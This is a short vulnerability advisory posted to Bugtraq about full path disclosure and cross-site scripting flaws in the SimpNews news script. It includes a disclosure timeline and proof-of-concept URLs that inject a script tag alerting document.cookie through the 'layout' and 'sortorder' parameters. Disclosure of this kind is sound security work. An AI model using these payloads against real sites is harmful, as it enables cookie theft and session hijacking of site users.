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SimpNews Vulnerabilities
Vulnerabilities in SimpNews
Vulnerabilities in SimpNews



Hello Bugtraq!

I want to warn you about security vulnerabilities in SimpNews.

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Advisory: Vulnerabilities in SimpNews
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URL: http://websecurity.com.ua/4245/ 
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Affected products: SimpNews V2.47.03 and previous versions.
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Timeline:

26.10.2009 - found vulnerabilities.
29.05.2010 - announced at my site.
30.05.2010 - informed developer.
31.05.2010 - developer released SimpNews v2.48. In version 2.48 the
developer fixed all mentioned vulnerabilities.
09.07.2010 - disclosed at my site.
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Details:

These are Full path disclosure and Cross-Site Scripting vulnerabilities.

Full path disclosure:

http://site/simpnews/news.php?lang=1&layout=layout2&sortorder=0&category=1 

XSS:

http://site/simpnews/news.php?layout=%3Cscript%3Ealert(document.cookie)%3C/script%3E 

http://site/simpnews/news.php?lang=en&layout=layout2&sortorder=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 



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